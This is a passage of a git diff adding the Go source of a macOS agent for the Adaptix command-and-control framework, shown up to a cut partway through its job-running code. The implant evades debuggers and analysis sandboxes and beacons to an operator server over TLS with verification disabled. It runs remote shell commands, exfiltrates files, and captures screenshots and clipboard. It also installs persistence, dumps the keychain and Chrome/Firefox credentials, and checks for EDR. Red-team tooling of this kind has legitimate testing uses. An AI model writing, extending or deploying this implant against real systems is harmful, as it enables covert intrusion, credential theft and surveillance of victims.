00000000..17b6cced --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_macos/go.sum @@ -0,0 +1,19 @@ +github.com/creack/pty v1.1.24 h1:bJrF4RRfyJnbTJqzRLHzcGaZK1NeM5kTC9jGgovnR1s= +github.com/creack/pty v1.1.24/go.mod h1:08sCNb52WyoAwi2QDyzUCTgcvVFhUzewun7wtTfvcwE= +github.com/davecgh/go-spew v1.1.0 h1:ZDRjVQ15GmhC3fiQ8ni8+OwkZQO4DARzQgrnXU1Liz8= +github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/jessevdk/go-flags v1.4.0/go.mod h1:4FA24M0QyGHXBuZZK/XkWh8h0e1EYbRYJSGM75WSRxI= +github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= +github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/stretchr/testify v1.6.1 h1:hDPOHmpOpP40lSULcqw7IrRb/u7w6RpDC9399XyoNd0= +github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= +github.com/vmihailenco/msgpack/v5 v5.4.1 h1:cQriyiUvjTwOHg8QZaPihLWeRAAVoCpE00IUPn0Bjt8= +github.com/vmihailenco/msgpack/v5 v5.4.1/go.mod h1:GaZTsDaehaPpQVyxrf5mtQlH+pc21PIudVV/E3rRQok= +github.com/vmihailenco/tagparser/v2 v2.0.0 h1:y09buUbR+b5aycVFQs/g70pqKVZNBmxwAhO7/IwNM9g= +github.com/vmihailenco/tagparser/v2 v2.0.0/go.mod h1:Wri+At7QHww0WTrCBeu4J6bNtoV6mEfg5OIWRZA9qds= +gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/yaml.v1 v1.0.0-20140924161607-9f9df34309c0/go.mod h1:WDnlLJ4WF5VGsH/HVa3CI79GS0ol3YnhVnKP89i0kNg= +gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c h1:dUUwHk2QECo/6vqA44rthZ8ie2QXMNeKRTHCNY2nXvo= +gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +howett.net/plist v1.0.1 h1:37GdZ8tP09Q35o9ych3ehygcsL+HqKSwzctveSlarvM= +howett.net/plist v1.0.1/go.mod h1:lqaXoTrLY4hg8tnEzNru53gicrbv7rrk+2xJA/7hw9g= diff --git a/AdaptixServer/extenders/macos_agent/src_macos/main.go b/AdaptixServer/extenders/macos_agent/src_macos/main.go new file mode 100644 index 00000000..7ce7bd11 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_macos/main.go @@ -0,0 +1,238 @@ +package main + +import ( + "crypto/rand" + "crypto/tls" + "crypto/x509" + "encoding/binary" + "macos_agent/functions" + "macos_agent/utils" + "net" + "os" + "os/user" + "path/filepath" + "runtime" + "time" + + "github.com/vmihailenco/msgpack/v5" +) + +var ACTIVE = true + +func CreateInfo() ([]byte, []byte) { + var ( + addr []net.Addr + username string + ip string + ) + + path, err := os.Executable() + if err == nil { + path = filepath.Base(path) + } + + userCurrent, err := user.Current() + if err == nil { + username = userCurrent.Username + } + + host, _ := os.Hostname() + + osVersion, _ := functions.GetOsVersion() + + addr, err = net.InterfaceAddrs() + if err == nil { + for _, a := range addr { + ipnet, ok := a.(*net.IPNet) + if ok && !ipnet.IP.IsLoopback() && !ipnet.IP.IsLinkLocalUnicast() && ipnet.IP.To4() != nil { + ip = ipnet.IP.String() + } + } + } + + acp, oemcp := functions.GetCP() + + randKey := make([]byte, 16) + _, _ = rand.Read(randKey) + + info := utils.SessionInfo{ + Process: path, + PID: os.Getpid(), + User: username, + Host: host, + Ipaddr: ip, + Elevated: functions.IsElevated(), + Acp: acp, + Oem: oemcp, + Os: runtime.GOOS, + OSVersion: osVersion, + EncryptKey: randKey, + } + + data, _ := msgpack.Marshal(info) + + return data, randKey +} + +var profiles []utils.Profile +var encKeys [][]byte +var profileIndex int +var profile utils.Profile +var AgentId uint32 +var encKey []byte + +func main() { + + // OPSEC: Anti-debug — prevent debugger attachment + functions.DenyDebugger() + utils.DebugLog("anti-debug: PT_DENY_ATTACH applied") + + // OPSEC: Bail out if analysis environment detected + if functions.IsDebuggerPresent() || functions.IsAnalysisEnvironment() { + utils.DebugLog("analysis environment detected, exiting") + return + } + utils.DebugLog("OPSEC checks passed") + + for _, encProfile := range encProfiles { + key := make([]byte, 16) + copy(key, encProfile[:16]) + encData := encProfile[16:] + decData, err := utils.DecryptData(encData, key) + if err != nil { + continue + } + + var p utils.Profile + err = msgpack.Unmarshal(decData, &p) + if err != nil { + continue + } + + profiles = append(profiles, p) + encKeys = append(encKeys, key) + } + + if len(profiles) == 0 { + utils.DebugLog("no valid profiles, exiting") + return + } + utils.DebugLog("loaded %d profile(s)", len(profiles)) + + profileIndex = 0 + profile = profiles[profileIndex] + encKey = encKeys[profileIndex] + + sessionInfo, sessionKey := CreateInfo() + utils.SKey = sessionKey + + r := make([]byte, 4) + _, _ = rand.Read(r) + AgentId = binary.BigEndian.Uint32(r) + + initData, _ := msgpack.Marshal(utils.InitPack{Id: uint(AgentId), Type: profile.Type, Data: sessionInfo}) + initMsg, _ := msgpack.Marshal(utils.StartMsg{Type: utils.INIT_PACK, Data: initData}) + initMsg, _ = utils.EncryptData(initMsg, encKey) + + UPLOADS = make(map[string][]byte) + DOWNLOADS = make(map[string]utils.Connection) + JOBS = make(map[string]utils.Connection) + + addrIndex := 0 + for i := 0; i < profile.ConnCount && ACTIVE; i++ { + if i > 0 { + time.Sleep(time.Duration(profile.ConnTimeout) * time.Second) + addrIndex++ + if addrIndex >= len(profile.Addresses) { + addrIndex = 0 + profileIndex = (profileIndex + 1) % len(profiles) + profile = profiles[profileIndex] + encKey = encKeys[profileIndex] + initData, _ = msgpack.Marshal(utils.InitPack{Id: uint(AgentId), Type: profile.Type, Data: sessionInfo}) + initMsg, _ = msgpack.Marshal(utils.StartMsg{Type: utils.INIT_PACK, Data: initData}) + initMsg, _ = utils.EncryptData(initMsg, encKey) + } + } + + ///// Connect + + var ( + err error + conn net.Conn + ) + + if profile.UseSSL { + cert, certerr := tls.X509KeyPair(profile.SslCert, profile.SslKey) + if certerr != nil { + continue + } + + caCertPool := x509.NewCertPool() + caCertPool.AppendCertsFromPEM(profile.CaCert) + + config := &tls.Config{ + Certificates: []tls.Certificate{cert}, + RootCAs: caCertPool, + InsecureSkipVerify: true, + } + conn, err = tls.Dial("tcp", profile.Addresses[addrIndex], config) + + } else { + conn, err = net.Dial("tcp", profile.Addresses[addrIndex]) + } + if err != nil { + utils.DebugLog("connect failed: %v", err) + continue + } else { + utils.DebugLog("connected to %s", profile.Addresses[addrIndex]) + i = 0 + } + + /// Recv Banner + if profile.BannerSize > 0 { + _, err := functions.ConnRead(conn, profile.BannerSize) + if err != nil { + continue + } + } + + /// Send Init + _ = functions.SendMsg(conn, initMsg) + + /// Recv Command + + var ( + inMessage utils.Message + outMessage utils.Message + recvData []byte + sendData []byte + ) + + for ACTIVE { + recvData, err = functions.RecvMsg(conn) + if err != nil { + break + } + + outMessage = utils.Message{Type: 0} + recvData, err = utils.DecryptData(recvData, sessionKey) + if err != nil { + break + } + + err = msgpack.Unmarshal(recvData, &inMessage) + if err != nil { + break + } + + if inMessage.Type == 1 { + outMessage.Type = 1 + outMessage.Object = TaskProcess(inMessage.Object) + } + + sendData, _ = msgpack.Marshal(outMessage) + sendData, _ = utils.EncryptData(sendData, sessionKey) + _ = functions.SendMsg(conn, sendData) + } + } +} diff --git a/AdaptixServer/extenders/macos_agent/src_macos/tasks.go b/AdaptixServer/extenders/macos_agent/src_macos/tasks.go new file mode 100644 index 00000000..d2440d4d --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_macos/tasks.go @@ -0,0 +1,1422 @@ +package main + +import ( + "bytes" + "context" + "crypto/aes" + "crypto/cipher" + "crypto/rand" + "crypto/tls" + "crypto/x509" + "errors" + "fmt" + "io" + "macos_agent/functions" + "macos_agent/utils" + "net" + "os" + "os/exec" + "strconv" + "sync" + "sync/atomic" + "syscall" + "time" + + "github.com/vmihailenco/msgpack/v5" +) + +var UPLOADS map[string][]byte +var DOWNLOADS map[string]utils.Connection +var JOBS map[string]utils.Connection +var TUNNELS sync.Map +var TERMINALS sync.Map + +type TunnelController struct { + Cancel context.CancelFunc + Paused atomic.Bool +} + +func TaskProcess(commands [][]byte) [][]byte { + var ( + command utils.Command + data []byte + result [][]byte + err error + ) + + for _, cmdBytes := range commands { + err = msgpack.Unmarshal(cmdBytes, &command) + if err != nil { + continue + } + + switch command.Code { + + case utils.COMMAND_DOWNLOAD: + data, err = jobDownloadStart(command.Data) + + case utils.COMMAND_CAT: + data, err = taskCat(command.Data) + + case utils.COMMAND_CD: + data, err = taskCd(command.Data) + + case utils.COMMAND_CP: + data, err = taskCp(command.Data) + + case utils.COMMAND_EXIT: + data, err = taskExit() + + case utils.COMMAND_JOB_LIST: + data, err = taskJobList() + + case utils.COMMAND_JOB_KILL: + data, err = taskJobKill(command.Data) + + case utils.COMMAND_KILL: + data, err = taskKill(command.Data) + + case utils.COMMAND_LS: + data, err = taskLs(command.Data) + + case utils.COMMAND_MKDIR: + data, err = taskMkdir(command.Data) + + case utils.COMMAND_MV: + data, err = taskMv(command.Data) + + case utils.COMMAND_PS: + data, err = taskPs() + + case utils.COMMAND_PWD: + data, err = taskPwd() + + case utils.COMMAND_RM: + data, err = taskRm(command.Data) + + case utils.COMMAND_RUN: + data, err = jobRun(command.Data) + + case utils.COMMAND_SHELL: + data, err = taskShell(command.Data) + + case utils.COMMAND_SCREENSHOT: + data, err = taskScreenshot() + + case utils.COMMAND_CLIPBOARD: + data, err = taskClipboard() + + case utils.COMMAND_PERSIST: + data, err = taskPersist(command.Data) + + case utils.COMMAND_TCC_CHECK: + data, err = taskTccCheck() + + case utils.COMMAND_DEFAULTS: + data, err = taskDefaults(command.Data) + + case utils.COMMAND_EDR_CHECK: + data, err = taskEdrCheck() + + case utils.COMMAND_KEYCHAIN: + data, err = taskKeychain(command.Data) + + case utils.COMMAND_BROWSER_DUMP: + data, err = taskBrowserDump(command.Data) + + case utils.COMMAND_TERMINAL_START: + jobTerminal(command.Data) + + case utils.COMMAND_TERMINAL_STOP: + taskTerminalKill(command.Data) + + case utils.COMMAND_TUNNEL_START: + jobTunnel(command.Data) + + case utils.COMMAND_TUNNEL_STOP: + taskTunnelKill(command.Data) + + case utils.COMMAND_TUNNEL_PAUSE: + taskTunnelPause(command.Data) + + case utils.COMMAND_TUNNEL_RESUME: + taskTunnelResume(command.Data) + + case utils.COMMAND_UPLOAD: + data, err = taskUpload(command.Data) + + case utils.COMMAND_ZIP: + data, err = taskZip(command.Data) + + default: + continue + } + + if err != nil { + command.Code = utils.COMMAND_ERROR + command.Data, _ = msgpack.Marshal(utils.AnsError{Error: err.Error()}) + } else { + command.Data = data + } + + packerData, _ := msgpack.Marshal(command) + result = append(result, packerData) + } + + return result +} + +/// TASKS + +func taskCat(paramsData []byte) ([]byte, error) { + var params utils.ParamsCat + err := msgpack.Unmarshal(paramsData, ¶ms) + if err != nil { + return nil, err + } + + path, err := functions.NormalizePath(params.Path) + if err != nil { + return nil, err + } + + fileInfo, err := os.Stat(path) + if err != nil { + return nil, err + } + if fileInfo.Size() > 0x100000 { + return nil, fmt.Errorf("file size exceeds 1 Mb (use download)") + } + + content, err := os.ReadFile(path) + if err != nil { + return nil, err + } + + return msgpack.Marshal(utils.AnsCat{Path: params.Path, Content: content}) +} + +func taskCd(paramsData []byte) ([]byte, error) { + var params utils.ParamsCd + err := msgpack.Unmarshal(paramsData, ¶ms) + if err != nil { + return nil, err + } + + path, err := functions.NormalizePath(params.Path) + if err != nil { + return nil, err + } + + err = os.Chdir(path) + if err != nil { + return nil, err + } + + newPath, err := os.Getwd() + if err != nil { + return nil, err + } + + return msgpack.Marshal(utils.AnsPwd{Path: newPath}) +} + +func taskCp(paramsData []byte) ([]byte, error) { + var params utils.ParamsCp + err := msgpack.Unmarshal(paramsData, ¶ms) + if err != nil { + return nil, err + } + + srcPath, err := functions.NormalizePath(params.Src) + if err != nil { + return nil, err + } + dstPath, err := functions.NormalizePath(params.Dst) + if err != nil { + return nil, err + } + + info, err := os.Stat(srcPath) + if err != nil { + return nil, err + } + + if info.IsDir() { + err = functions.CopyDir(srcPath, dstPath) + } else { + err = functions.CopyFile(srcPath, dstPath, info) + } + + return nil, err +} + +func taskExit() ([]byte, error) { + ACTIVE = false + return nil, nil +} + +func taskJobList() ([]byte, error) { + + var jobList []utils.JobInfo + for k, v := range DOWNLOADS { + jobList = append(jobList, utils.JobInfo{JobId: k, JobType: v.PackType}) + } + for k, v := range JOBS { + jobList = append(jobList, utils.JobInfo{JobId: k, JobType: v.PackType}) + } + + list, _ := msgpack.Marshal(jobList) + + return msgpack.Marshal(utils.AnsJobList{List: list}) +} + +func taskJobKill(paramsData []byte) ([]byte, error) { + var params utils.ParamsJobKill + err := msgpack.Unmarshal(paramsData, ¶ms) + if err != nil { + return nil, err + } + + job, ok := DOWNLOADS[params.Id] + if !ok { + job, ok = JOBS[params.Id] + if !ok { + return nil, fmt.Errorf("job '%s' not found", params.Id) + } + } + + if job.JobCancel != nil { + job.JobCancel() + } + + job.HandleCancel() + + return nil, nil +} + +func taskKill(paramsData []byte) ([]byte, error) { + var params utils.ParamsKill + err := msgpack.Unmarshal(paramsData, ¶ms) + if err != nil { + return nil, err + } + + proc, err := os.FindProcess(params.Pid) + if err != nil { + return nil, err + } + + err = proc.Signal(syscall.SIGKILL) + return nil, err +} + +func taskLs(paramsData []byte) ([]byte, error) { + var params utils.ParamsLs + err := msgpack.Unmarshal(paramsData, ¶ms) + if err != nil { + return nil, err + } + + path, err := functions.NormalizePath(params.Path) + if err != nil { + return nil, err + } + + Files, err := functions.GetListing(path) + if err != nil { + return msgpack.Marshal(utils.AnsLs{Result: false, Status: err.Error(), Path: path, Files: nil}) + } + + filesData, _ := msgpack.Marshal(Files) + + return msgpack.Marshal(utils.AnsLs{Result: true, Path: path, Files: filesData}) +} + +func taskMkdir(paramsData []byte) ([]byte, error) { + var params utils.ParamsMkdir + err := msgpack.Unmarshal(paramsData, ¶ms) + if err != nil { + return nil, err + } + + path, err := functions.NormalizePath(params.Path) + if err != nil { + return nil, err + } + + mode := os.FileMode(0755) + err = os.MkdirAll(path, mode) + + return nil, err +} + +func taskMv(paramsData []byte) ([]byte, error) { + var params utils.ParamsMv + err := msgpack.Unmarshal(paramsData, ¶ms) + if err != nil { + return nil, err + } + + srcPath, err := functions.NormalizePath(params.Src) + if err != nil { + return nil, err + } + dstPath, err := functions.NormalizePath(params.Dst) + if err != nil { + return nil, err + } + + err = os.Rename(srcPath, dstPath) + if err == nil { + return nil, nil + } + + info, err := os.Stat(srcPath) + if err != nil { + return nil, err + } + + if info.IsDir() { + err = functions.CopyDir(srcPath, dstPath) + if err == nil { + _ = os.RemoveAll(srcPath) + } + } else { + err = functions.CopyFile(srcPath, dstPath, info) + if err == nil { + _ = os.Remove(srcPath) + } + } + return nil, err +} + +func taskPs() ([]byte, error) { + Processes, err := functions.GetProcesses() + if err != nil { + return nil, err + } + + processesData, _ := msgpack.Marshal(Processes) + + return msgpack.Marshal(utils.AnsPs{Result: true, Processes: processesData}) +} + +func taskPwd() ([]byte, error) { + path, err := os.Getwd() + if err != nil { + return nil, err + } + + return msgpack.Marshal(utils.AnsPwd{Path: path}) +} + +func taskRm(paramsData []byte) ([]byte, error) { + var params utils.ParamsRm + err := msgpack.Unmarshal(paramsData, ¶ms) + if err != nil { + return nil, err + } + + path, err := functions.NormalizePath(params.Path) + if err != nil { + return nil, err + } + + info, err := os.Stat(path) + if err != nil { + return nil, err + } + if info.IsDir() { + err = os.RemoveAll(path) + } else { + err = os.Remove(path) + } + return nil, err +} + +func taskScreenshot() ([]byte, error) { + screenshot, err := functions.Screenshots() + if err != nil { + return nil, err + } + + screens := make([][]byte, 0) + for _, pic := range screenshot { + screens = append(screens, pic) + } + + return msgpack.Marshal(utils.AnsScreenshots{Screens: screens}) +} + +func taskClipboard() ([]byte, error) { + content, err := functions.GetClipboard() + if err != nil { + return nil, err + } + return msgpack.Marshal(utils.AnsShell{Output: content}) +} + +func taskPersist(paramsData []byte) ([]byte, error) { + var params utils.ParamsPersist + err := msgpack.Unmarshal(paramsData, ¶ms) + if err != nil { + return nil, err + } + + var output string + switch params.Action { + case "install": + output, err = functions.PersistInstall(params.Method, params.Name) + case "remove": + output, err = functions.PersistRemove(params.Method, params.Name) + case "status": + output, err = functions.PersistStatus() + default: + return nil, fmt.Errorf("unknown persist action: %s", params.Action) + } + if err != nil { + return nil, err + } + return msgpack.Marshal(utils.AnsPersist{Output: output}) +} + +func taskTccCheck() ([]byte, error) { + output, err := functions.TccCheck() + if err != nil { + return nil, err + } + return msgpack.Marshal(utils.AnsShell{Output: output}) +} + +func taskDefaults(paramsData []byte) ([]byte, error) { + var params utils.ParamsDefaults + err := msgpack.Unmarshal(paramsData, ¶ms) + if err != nil { + return nil, err + } + output, err := functions.DefaultsRead(params.Domain) + if err != nil { + return nil, err + } + return msgpack.Marshal(utils.AnsShell{Output: output}) +} + +func taskEdrCheck() ([]byte, error) { + output, err := functions.EdrCheck() + if err != nil { + return nil, err + } + return msgpack.Marshal(utils.AnsShell{Output: output}) +} + +func taskKeychain(paramsData []byte) ([]byte, error) { + var params utils.ParamsKeychain + err := msgpack.Unmarshal(paramsData, ¶ms) + if err != nil { + return nil, err + } + + var output string + switch params.Action { + case "list": + output, err = functions.KeychainList() + case "dump": + output, err = functions.KeychainDump() + default: + return nil, fmt.Errorf("unknown keychain action: %s", params.Action) + } + if err != nil { + return nil, err + } + return msgpack.Marshal(utils.AnsShell{Output: output}) +} + +func taskBrowserDump(paramsData []byte) ([]byte, error) { + var params utils.ParamsBrowserDump + err := msgpack.Unmarshal(paramsData, ¶ms) + if err != nil { + return nil, err + } + + var output string + switch params.Browser { + case "chrome": + output, err = functions.BrowserDumpChrome(params.Target) + case "firefox": + output, err = functions.BrowserDumpFirefox(params.Target) + default: + return nil, fmt.Errorf("unknown browser: %s (use chrome or firefox)", params.Browser) + } + if err != nil { + return nil, err + } + return msgpack.Marshal(utils.AnsShell{Output: output}) +} + +func taskShell(paramsData []byte) ([]byte, error) { + var params utils.ParamsShell + err := msgpack.Unmarshal(paramsData, ¶ms) + if err != nil { + return nil, err + } + + cmd := exec.Command(params.Program, params.Args...) + functions.ProcessSettings(cmd) + output, _ := cmd.CombinedOutput() + + return msgpack.Marshal(utils.AnsShell{Output: string(output)}) +} + +func taskTerminalKill(paramsData []byte) { + var params utils.ParamsTerminalStop + err := msgpack.Unmarshal(paramsData, ¶ms) + if err != nil { + return + } + + value, ok := TERMINALS.Load(params.TermId) + if ok { + cancel, ok := value.(context.CancelFunc) + if ok { + cancel() + } + } +} + +func taskTunnelKill(paramsData []byte) { + var params utils.ParamsTunnelStop + err := msgpack.Unmarshal(paramsData, ¶ms) + if err != nil { + return + } + + value, ok := TUNNELS.Load(params.ChannelId) + if ok { + ctrl, ok := value.(*TunnelController) + if ok { + ctrl.Cancel() + } + } +} + +func taskTunnelPause(paramsData []byte) { + var params utils.ParamsTunnelPause + err := msgpack.Unmarshal(paramsData, ¶ms) + if err != nil { + return + } + + value, ok := TUNNELS.Load(params.ChannelId) + if ok { + ctrl, ok := value.(*TunnelController) + if ok { + ctrl.Paused.Store(true) + } + } +} + +func taskTunnelResume(paramsData []byte) { + var params utils.ParamsTunnelResume + err := msgpack.Unmarshal(paramsData, ¶ms) + if err != nil { + return + } + + value, ok := TUNNELS.Load(params.ChannelId) + if ok { + ctrl, ok := value.(*TunnelController) + if ok { + ctrl.Paused.Store(false) + } + } +} + +func taskUpload(paramsData []byte) ([]byte, error) { + var params utils.ParamsUpload + err := msgpack.Unmarshal(paramsData, ¶ms) + if err != nil { + return nil, err + } + + path, err := functions.NormalizePath(params.Path) + if err != nil { + return nil, err + } + + uploadBytes, ok := UPLOADS[path] + if !ok { + uploadBytes = params.Content + } else { + delete(UPLOADS, path) + uploadBytes = append(uploadBytes, params.Content...) + } + + if params.Finish { + files, err := functions.UnzipBytes(uploadBytes) + if err != nil { + return nil, err + } + + content, ok := files[params.Path] + if !ok { + return nil, errors.New("file not uploaded") + } + + err = os.WriteFile(path, content, 0644) + if err != nil { + return nil, err + } + + } else { + UPLOADS[path] = uploadBytes + return nil, nil + } + + return msgpack.Marshal(utils.AnsUpload{Path: path}) +} + +func taskZip(paramsData []byte) ([]byte, error) { + var params utils.ParamsZip + err := msgpack.Unmarshal(paramsData, ¶ms) + if err != nil { + return nil, err + } + + srcPath, err := functions.NormalizePath(params.Src) + if err != nil { + return nil, err + } + dstPath, err := functions.NormalizePath(params.Dst) + if err != nil { + return nil, err + } + + info, err := os.Stat(srcPath) + if err != nil { + return nil, err + } + + var content []byte + if info.IsDir() { + content, err = functions.ZipDirectory(srcPath) + } else { + content, err = functions.ZipFile(srcPath) + } + if err != nil { + return nil, err + } + + err = os.WriteFile(dstPath, content, 0644) + if err != nil { + return nil, err + } + + return msgpack.Marshal(utils.AnsZip{Path: dstPath}) +} + +/// JOBS + +func jobDownloadStart(paramsData []byte) ([]byte, error) { + var params utils.ParamsDownload + err := msgpack.Unmarshal(paramsData, ¶ms) + if err != nil { + return nil, err + } + + path, err := functions.NormalizePath(params.Path) + if err != nil { + return nil, err + } + + info, err := os.Stat(path) + if err != nil { + return nil, err + } + + size := info.Size() + + if size > 4*1024*1024*1024 { + return nil, errors.New("file too big (>4GB)") + } + + var content []byte + if info.IsDir() { + content, err = functions.ZipDirectory(path) + path += ".zip" + } else { + content, err = os.ReadFile(path) + } + if err != nil { + return nil, err + } + + var conn net.Conn + if profile.UseSSL { + cert, certerr := tls.X509KeyPair(profile.SslCert, profile.SslKey) + if certerr != nil { + return nil, err + } + + caCertPool := x509.NewCertPool() + caCertPool.AppendCertsFromPEM(profile.CaCert) + + config := &tls.Config{ + Certificates: []tls.Certificate{cert}, + RootCAs: caCertPool, + InsecureSkipVerify: true, + } + conn, err = tls.Dial("tcp", profile.Addresses[0], config) + + } else { + conn, err = net.Dial("tcp", profile.Addresses[0]) + } + if err != nil { + return nil, err + } + + strFileId := params.Task + FileId, _ := strconv.ParseInt(strFileId, 16, 64) + + connection := utils.Connection{ + PackType: utils.EXFIL_PACK, + Conn: conn, + } + connection.Ctx, connection.HandleCancel = context.WithCancel(context.Background()) + DOWNLOADS[strFileId] = connection + + go func() { + defer func() { + connection.HandleCancel() + _ = conn.Close() + delete(DOWNLOADS, strFileId) + }() + + exfilPack, _ := msgpack.Marshal(utils.ExfilPack{Id: uint(AgentId), Type: profile.Type, Task: params.Task}) + exfilMsg, _ := msgpack.Marshal(utils.StartMsg{Type: utils.EXFIL_PACK, Data: exfilPack}) + exfilMsg, _ = utils.EncryptData(exfilMsg, encKey) + + job := utils.Job{ + CommandId: utils.COMMAND_DOWNLOAD, + JobId: params.Task, + } + + /// Recv Banner + if profile.BannerSize > 0 { + _, err := functions.ConnRead(conn, profile.BannerSize) + if err != nil { + return + } + } + + /// Send Init + _ = functions.SendMsg(conn, exfilMsg) + + chunkSize := 0x100000 // 1MB + totalSize := len(content) + for i := 0; i < totalSize; i += chunkSize { + + end := i + chunkSize + if end > totalSize { + end = totalSize + } + start := i == 0 + finish := end == totalSize + + canceled := false + + select { + case <-connection.Ctx.Done(): + finish = true + canceled = true + default: + } + + job.Data, _ = msgpack.Marshal(utils.AnsDownload{FileId: int(FileId), Path: path, Content: content[i:end], Size: len(content), Start: start, Finish: finish, Canceled: canceled}) + packedJob, _ := msgpack.Marshal(job) + + message := utils.Message{ + Type: 2, + Object: [][]byte{packedJob}, + } + + sendData, _ := msgpack.Marshal(message) + sendData, _ = utils.EncryptData(sendData, utils.SKey) + _ = functions.SendMsg(conn, sendData) + + if finish { + break + } + time.Sleep(time.Millisecond * 100) + } + }() + + return nil, nil +} + +func jobRun(paramsData []byte) ([]byte, error) { + var params utils.ParamsRun + err := msgpack.Unmarshal(paramsData, ¶ms) + if err != nil { + return nil, err + } + + procCtx, procCancel := context.WithCancel(context.Background()) + cmd := exec.CommandContext(procCtx, params.Program, params.Args...) + functions.ProcessSettings(cmd) + stdoutPipe, err := cmd.StdoutPipe() + if err != nil { + procCancel() + return nil, fmt.Errorf("stdout pipe error: %w", err) + } + stderrPipe, err := cmd.StderrPipe() + if err != nil { + procCancel() + return nil, fmt.Errorf("stderr pipe error: %w", err) + } + + var stdoutMu sync.Mutex + var stderrMu sync.Mutex + stdoutBuf := new(bytes.Buffer) + stderrBuf := new(bytes.Buffer) + + err = cmd.Start() + if err != nil { + procCancel() + return nil, fmt.Errorf("start error: %w", err) + } + pid := 0 + if cmd.Process != nil { + pid = cmd.Process.Pid + } + + var conn net.Conn + if profile.UseSSL { + cert, certerr := tls.X509KeyPair(profile.SslCert, profile.SslKey) + if certerr != nil { + procCancel() + return nil, err + } + + caCertPool := x509.NewCertPool() + caCertPool.AppendCertsFromPEM(profile.CaCert) + + config := &tls.Config{ + Certificates: []tls.Certificate{cert}, + RootCAs: caCertPool, + InsecureSkipVerify: true, + } + conn, err = tls.Dial("tcp", profile.Addresses[0], config) + + } else { + conn, err = net.Dial("tcp", profile.Addresses[0]) + } + if err != nil { + procCancel() + return nil, err + } + + connection := utils.Connection{ + PackType: utils.JOB_PACK, + Conn: conn, + JobCancel: procCancel, + } + connection.Ctx, connection.HandleCancel = context.WithCancel(context.Background()) + JOBS[params.Task] = connection + + go func() { + defer func() { + procCancel() + connection.HandleCancel() + _ = conn.Close() + delete(JOBS, params.Task) + }() + + jobPack, _ := msgpack.Marshal(utils.JobPack{Id: uint(AgentId), Type: profile.Type, Task: params.Task}) + jobMsg, _ := msgpack.Marshal(utils.StartMsg{Type: utils.JOB_PACK, Data: jobPack}) + jobMsg, _ = utils.EncryptData(jobMsg, encKey) + + /// Recv Banner + if profile.BannerSize > 0 { + _, err := functions.ConnRead(conn, profile.BannerSize) + if err != nil { + return + } + } + + /// Send Init + functions.SendMsg(conn, jobMsg) + + job := utils.Job{ + CommandId: utils.COMMAND_RUN, + JobId: params.Task, + } + + job.Data, _ = msgpack.Marshal(utils.AnsRun{Pid: pid, Start: true}) + packedJob, _ := msgpack.Marshal(job) + + message := utils.Message{ + Type: 2, + Object: [][]byte{packedJob}, + } + + sendData, _ := msgpack.Marshal(message) + sendData, _ = utils.EncryptData(sendData, utils.SKey) + functions.SendMsg(conn, sendData) + + var wg sync.WaitGroup + wg.Add(2) + + go func() { + defer wg.Done() + buf := make([]byte, 2*1024) + for { + n, err := stdoutPipe.Read(buf) + if n > 0 { + stdoutMu.Lock() + stdoutBuf.Write(buf[:n]) + stdoutMu.Unlock() + } + if err == io.EOF { + break + } + if err != nil { + break + } + } + }() + go func() { + defer wg.Done() + buf := make([]byte, 2*1024) + for { + n, err := stderrPipe.Read(buf) + if n > 0 { + stderrMu.Lock() + stderrBuf.Write(buf[:n]) + stderrMu.Unlock() + } + if err == io.EOF { + break + } + if err != nil { + break + } + } + }() + + done := make(chan struct{}) + var lastOutLen, lastErrLen int + const maxChunkSize = 0x10000 // 65 Kb + go func() { + ticker := time.NewTicker(1 * time.Second) + defer ticker.Stop() + for { + select { + case <-done: + return + + case <-ticker.C: + ansRun := utils.AnsRun{Pid: pid} + stdoutMu.Lock() + out := stdoutBuf.String() + stdoutMu.Unlock() + if len(out) > lastOutLen { + chunk := out[lastOutLen:] + if len(chunk) > maxChunkSize { + ansRun.Stdout = chunk[:maxChunkSize] + lastOutLen += maxChunkSize + } else { + ansRun.Stdout = chunk + lastOutLen = len(out) + } + } + + stderrMu.Lock() + errOut := stderrBuf.String() + stderrMu.Unlock() + if len(errOut) > lastErrLen { + chunk := errOut[lastErrLen:] + if len(chunk) > maxChunkSize { + ansRun.Stderr = chunk[:maxChunkSize] + lastErrLen += maxChunkSize + } else { + ansRun.Stderr = chunk + lastErrLen = len(errOut) + } + } + + if len(ansRun.Stdout) > 0 || len(ansRun.Stderr) > 0 { + job.Data, _ = msgpack.Marshal(ansRun) + packedJob, _ := msgpack.Marshal(job) + + message := utils.Message{ + Type: 2, + Object: [][]byte{packedJob}, + } + + sendData, _ := msgpack.Marshal(message) + sendData, _ = utils.EncryptData(sendData, utils.SKey) + functions.SendMsg(conn, sendData) + } + } + } + }() + + time.Sleep(200 * time.Millisecond) + err = cmd.Wait() + wg.Wait() + close(done) + + stdoutMu.Lock() + finalOut := stdoutBuf.String() + stdoutMu.Unlock() + stderrMu.Lock() + finalErrOut := stderrBuf.String() + stderrMu.Unlock() + + for { + ansRun := utils.AnsRun{Pid: pid} + hasMore := false + + if len(finalOut) > lastOutLen { + chunk := finalOut[lastOutLen:] + if len(chunk) > maxChunkSize { + ansRun.Stdout = chunk[:maxChunkSize] + lastOutLen += maxChunkSize + hasMore = true + } else { + ansRun.Stdout = chunk + lastOutLen = len(finalOut) + } + } + + if len(finalErrOut) > lastErrLen { + chunk := finalErrOut[lastErrLen:] + if len(chunk) > maxChunkSize { + ansRun.Stderr = chunk[:maxChunkSize] + lastErrLen += maxChunkSize + hasMore = true + } else { + ansRun.Stderr = chunk + lastErrLen = len(finalErrOut) + } + } + + if len(ansRun.Stdout) > 0 || 